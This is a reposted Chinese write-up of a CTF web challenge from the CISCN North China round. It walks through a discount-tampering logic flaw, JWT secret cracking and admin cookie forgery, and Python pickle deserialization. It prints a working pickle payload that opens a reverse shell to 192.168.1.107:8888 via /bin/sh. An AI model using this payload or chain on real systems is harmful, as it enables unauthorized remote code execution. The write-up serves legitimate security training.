ciscn-华北赛区-Day1-Web2题解

叁歲伎倆 2022-01-07 18:03 216阅读 0赞

# 漏洞点 #

薅羊毛逻辑漏洞

Cookie伪造 -> JWT

python反序列化 -> 反弹shell

# 薅羊毛逻辑漏洞 #

打开题目是这样一个页面

![1610491-20190613144632629-350624787.png][]

其实最初的题目这个募集资金的进度条是没有刷满的，注册小号刷满即可

这就是一个薅羊毛的逻辑漏洞

看最下边的提示 -> 一定要买到 lv6

![1610491-20190613144643835-435029550.png][]

翻了下前几页，没有lv6这个图片，一共有500百页

**写个搜索脚本：**

import requests
    
    url = "http://127.0.0.1:8083/"
    
    for i in range(1,501): r = requests.get(url + "shop?page=" + str(i)) if r.text.find("lv6.png") != -1: print(i) break

查到在181页

![1610491-20190613144714562-1347487526.png][]

![1610491-20190613144725160-1186390159.png][]

买lv6，但是这麽多钱，买不起咋办？

审计页面的HTML代码有个优惠折扣，把它改到很小

![1610491-20190613144736432-1417704565.png][]

跳到了这样一个页面

![1610491-20190613144748623-365700362.png][]

# JWT-Cookie伪造 #

关于JWT—Cookie伪造的原理请自行查阅

**爆破密钥**

工具：[c-jwt-cracker][]

![1610491-20190613144759651-1677268933.png][]

有个网站[https://jwt.io/][https_jwt.io]

可以在这里**伪造Cookie**，把用户改为admin，密钥为上边破解出来的 "1kun"

![1610491-20190613144823122-1601314848.png][]

![1610491-20190613144811123-1579854981.png][]

**抓包改JWT的值，发现一个源码www.zip，下载下来**

# python反序列化-反弹shell #

**Admin.py中有个反序列化的点**

![1610491-20190613144914810-2060426360.png][]

**构造反弹shell的payload：**

import pickle
    import urllib
    import os class exp(object): def __reduce__(self): s="""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.107",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' """ return os.system, (s,) e=exp() poc = pickle.dumps(e) print poc

**生成payload：**

![1610491-20190613144934672-73706247.png][]

**这个界面有个隐藏表单，把生成的payload URL编码放进去提交**

![1610491-20190613144946561-1224658763.png][]

**本机(攻击机)nc监听，拿到一个shell，flag在根目录下**

![1610491-20190613145003883-602635513.png][]

转载于:https://www.cnblogs.com/wintrysec/p/11016501.html

[1610491-20190613144632629-350624787.png]: /images/20211220/e4f9c2c832b7470885de8f12401f9fbd.png
[1610491-20190613144643835-435029550.png]: /images/20211220/d288430dc86a474db0cbbd55238464d7.png
[1610491-20190613144714562-1347487526.png]: /images/20211220/d4b35179979a4c978081143303e728ce.png
[1610491-20190613144725160-1186390159.png]: /images/20211220/96e35a15d9a94bba8713e6904809e4a7.png
[1610491-20190613144736432-1417704565.png]: /images/20211220/c2fbac43a0c848c4a148047bf0b94a00.png
[1610491-20190613144748623-365700362.png]: /images/20211220/19b30e9882144c02a44af48c56d8116f.png
[c-jwt-cracker]: https://github.com/brendan-rius/c-jwt-cracker
[1610491-20190613144759651-1677268933.png]: /images/20211220/2b10c9cb097a4158b8f45667bbe66da6.png
[https_jwt.io]: https://jwt.io/
[1610491-20190613144823122-1601314848.png]: /images/20211220/b3c17d0951a6421ebe21f3c843d5e503.png
[1610491-20190613144811123-1579854981.png]: /images/20211220/3145cf9ae90543dcb138b3fb68ae6dc8.png
[1610491-20190613144914810-2060426360.png]: /images/20211220/70fca99b0a5645499fdc3c8739d1b850.png
[1610491-20190613144934672-73706247.png]: /images/20211220/c2dca52e40294a8fb346ba440dcd5eb6.png
[1610491-20190613144946561-1224658763.png]: /images/20211220/389943cf25704d12b6f735a938216c7c.png
[1610491-20190613145003883-602635513.png]: /images/20211220/127b493192114c9087693061dd842878.png